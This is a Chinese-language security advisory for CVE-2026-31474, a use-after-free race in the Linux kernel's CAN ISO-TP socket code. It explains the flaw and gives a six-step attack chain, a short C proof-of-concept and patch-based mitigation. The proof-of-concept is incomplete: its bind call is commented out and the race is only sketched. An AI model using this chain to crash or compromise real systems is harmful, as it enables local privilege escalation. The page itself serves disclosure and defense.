IPBUF安全漏洞报告
English
CVE-2026-31474 CVSS 7.8 高危

CVE-2026-31474: Linux内核isotp释放后重用漏洞

披露日期: 2026-04-22
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31474
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

释放后重用Linux内核竞态条件本地提权CAN总线

漏洞概述

Linux内核中的CAN ISO-TP协议栈存在一个释放后重用漏洞。该漏洞源于isotp_sendmsg()和isotp_release()之间的竞态条件。当关闭socket时,如果信号打断了等待事件,isotp_release()会提前释放so->tx.buf内存,而isotp_sendmsg()可能仍在读取该缓冲区。这会导致内核崩溃或潜在的权限提升。攻击者需具备本地低权限即可触发此漏洞。

技术细节

该漏洞的核心在于Linux内核CAN子系统中ISO-TP协议实现(net/can/isotp.c)的同步机制缺陷。isotp_sendmsg()仅使用cmpxchg()来序列化对so->tx.state的访问,而在释放资源时,isotp_release()通过wait_event_interruptible()等待状态变为ISOTP_IDLE。竞态窗口开启于:当isotp_release()处于等待状态时,如果捕获到一个信号(如用户强制终止进程),等待循环会提前退出,跳转到ISOTP_SHUTDOWN逻辑。此时,代码会立即调用kfree(so->tx.buf)释放传输缓冲区。然而,如果此时isotp_sendmsg()正处于发送最后帧数据的状态(即isotp_fill_dataframe()正在读取so->tx.buf),由于状态检查和内存释放之间存在时间差,发送函数会访问已被释放的内存区域(UAF)。攻击者可以通过创建ISOTP socket,启动发送操作,并在发送过程中通过信号机制触发关闭流程,从而诱导内核访问悬垂指针。

攻击链分析

STEP 1
步骤1
本地低权限攻击者创建一个CAN ISOTP套接字。
STEP 2
步骤2
攻击者通过isotp_sendmsg()开始发送数据,使内核分配并使用so->tx.buf。
STEP 3
步骤3
在数据传输过程中,攻击者触发关闭套接字的操作(isotp_release())。
STEP 4
步骤4
攻击者发送信号(如SIGINT)中断isotp_release()中的wait_event_interruptible()等待。
STEP 5
步骤5
内核跳过等待,直接执行kfree(so->tx.buf)释放缓冲区,但isotp_sendmsg()仍在读取该内存。
STEP 6
步骤6
触发释放后重用(UAF),导致内核崩溃或潜在的代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/isotp.h> int global_sock = -1; // Signal handler to simulate interrupt during close void sigint_handler(int sig) { if (global_sock >= 0) { close(global_sock); printf("Socket closed due to signal.\n"); } } int main() { int s; struct sockaddr_can addr; struct can_isotp_fc_options fcopts; char buffer[4096]; // Register signal handler signal(SIGINT, sigint_handler); // Create CAN ISOTP socket if ((s = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP)) < 0) { perror("socket"); return 1; } global_sock = s; // Setup CAN interface (Requires vcan or real can interface) // This is a simplified PoC structure memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; addr.can_addr.tp.rx_id = 0x123; addr.can_addr.tp.tx_id = 0x456; // bind(s, (struct sockaddr *)&addr, sizeof(addr)); // Uncomment if interface exists printf("Starting transmission...\n"); // Simulate sending data that might trigger the race // while(isotp_sendmsg() is running) { // send signal to interrupt close() wait_event // } // In a real exploit, precise timing is needed to hit the wait_event_interruptible while(1) { // Send data loop write(s, buffer, sizeof(buffer)); usleep(1000); } return 0; }

影响范围

Linux Kernel < Commit cb3d6efa78460e6d50bf68806d0db66265709f64

防御指南

临时缓解措施
建议立即应用官方提供的补丁,该补丁将tx.buf的释放操作移动到了sk_destruct函数中,确保在所有使用者(包括sendmsg和release)都完全退出后才释放内存。如果无法立即升级,请严格限制本地用户权限,避免不可信用户利用CAN接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表